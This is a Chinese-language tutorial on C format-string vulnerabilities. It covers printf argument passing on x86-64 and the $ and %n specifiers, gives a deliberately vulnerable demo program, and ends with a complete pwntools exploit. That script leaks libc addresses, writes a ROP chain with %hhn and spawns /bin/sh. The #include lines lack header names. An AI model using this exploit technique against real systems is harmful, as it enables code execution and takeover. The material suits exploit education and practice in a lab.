C格式化漏洞

测试平台:ubuntu14.04 x64

前言

格式化漏洞是由在编程时使用printf函数在将数据格式化输出时产生的漏洞,其中*printf()函数包括printf, fprintf, sprintf, snprintf, vprintf, vfprintf,vsprintf, vsnprintf等函数,它们可以将数据格式化后输出。以最简单的printf()为例:
int printf(const char *format, arg1,arg2,…);

printf参数如何传递

先来看一个简单例子:

#include 
int main(int argc,char* argv[])
{
    char str1[]="hello ";
    char str2[]="world ";
    char str3[]="I ";
    char str4[]="am ";
    char str5[]="Tom ";
    char str6[]="i ";
    char str7[]="very ";
    char str8[]="happy ";
    char str9[]="to ";
    char str10[]="see ";
    char str11[]="you !";
    printf("%s %s %s %s %s\n", str1,str2,str3,str4,str5);
    printf("%s %s %s %s %s %s %s %s %s %s %s\n", str1,str2,str3,str4,str5,str6,str7,str8,str9,str10,str11);
    return 0;
}

这里的printf低于6个参数,则直接传给寄存器,按照参数从左到右依次为edi,rsi,rdx,rcx,r8,r9
C格式化漏洞_第1张图片
大于5个参数时,则会压入栈:
C格式化漏洞_第2张图片

C格式化漏洞_第3张图片
所以采取<<0day安全>>中介绍的格式化漏洞利用,会略有区别。

关于$和%n

$ 号是用来指定参数的。读取栈上某地址的话大概格式是:

 %%参数顺序$类型n,譬如:%7$lx,就是以lx格式读第7个参数的值。

如果做写入的话一般格式是:

%%数值c%参数顺序$类型,譬如说:%%40c%5$hhn,就是向第5个参数写入40这个数值。

$n演示

#include 
int main(int argc,char* argv[])
{
    char str1[]="hello ";
    char str2[]="world ";
    char str3[]="I ";
    char str4[]="am ";
    char str5[]="Tom ";
    printf("%2$s %s %s %s %s %s\n",str1,str2,str3,str4,str5 );
    return 0;
}

输出结果就成了:

world  hello  world  I  am  Tom 

%n$p,合理控制n就能获取栈中数据

%n演示

int main(int argc,char* argv[])
{
    char str1[]="111111";
    char str2[]="222222";
    printf("%%48c%2$hhn \n",str1,str2 );
    printf("%c %c %c %c\n",str2[0],str2[1],str2[2],str2[3]);
    return 0;
}

结果

%48c 
4 32 32 32

格式化漏洞利用

靶程序

#include 
#include 

int handle(){
    char buf[32];
    memset(buf,0,32);
    read(0,buf,32);
    printf(buf);
    printf("\n");
    fflush(stdout);
    if(strcmp(buf,"exit")==0){
        return 1;
    }
    return 0;
}

int main(int argc,char* argv[])
{
    while(1){
        if(handle()){
            break;
        }
    }
    return 0;
}

exploit

from pwn import *
import sys, os

DEBUG = 1
if DEBUG:
    target='./crakeMe'
    context.log_level='error'
    pro = process(target)
    #gdb.attach(pro)
else:
    p = remote('xxxxxx', 8080)

def get_ptr_value(addr):
    payload='%7$s---\x00'+p64(addr)
    pro.sendline(payload)
    data=pro.recvuntil('---\n', drop=False)[:-4]
    if data == "":
        data = "\x00"
    return data

def leak_data(addr):
    return get_ptr_value(addr)

def get_system_addr():
    d = DynELF(leak_data, elf=ELF(target))
    system_addr = d.lookup('system', 'libc')
    return system_addr


def get_libc_addr():
    d = DynELF(leak_data, elf=ELF(target))
    system_addr = d.lookup(None, 'libc')
    return system_addr

def get_fun_addr(addr):
    value =get_ptr_value(addr)
    fun_addr=u64(value.ljust(8,'\x00'))
    return fun_addr

def get_ebp_addr():
    payload='%12$lx'
    pro.send(payload)
    return int(pro.recvuntil('\n', drop=False)[:-1],16)

def modify_addr_val(addr,val):
    if val == 0:
        val = 0x100
    payload = '%%%dc%%8$hhn--\x00'%val
    payload+=(16-len(payload))*'\x00'
    payload+= p64(addr)
    pro.send(payload)
    pro.recv()

def modify_addr_data(addr, data):
    for i in range(len(data)):
        modify_addr_val(addr + i, ord(data[i]))


def main():
    ebp_addr=get_ebp_addr()

    offset=-0xa8d90
    read_got=0x601038
    read_addr = get_fun_addr(read_got)
    system_addr=get_system_addr()
    print 'offset',hex(system_addr -read_addr)
    #0x00FDFF9   pop rax
    #0x00FDFFA   pop rdi 
    #0x00FDFFA   call rax
    call_eax_addr=0x00FDFF9+get_libc_addr()

    start_addr=ebp_addr+8
    binsh_addr=ebp_addr+8*4
    payload =p64(call_eax_addr)
    payload+=p64(system_addr)
    payload+=p64(binsh_addr)
    payload+='/bin/sh;'
    #context.log_level='debug'
    modify_addr_data(start_addr,payload)

    payload='exit'
    pro.send(payload)
    pro.interactive()

if __name__ == '__main__':
    main()

参考资料$:https://bbs.pediy.com/thread-224943.htm

你可能感兴趣的:(C/C++,pwn)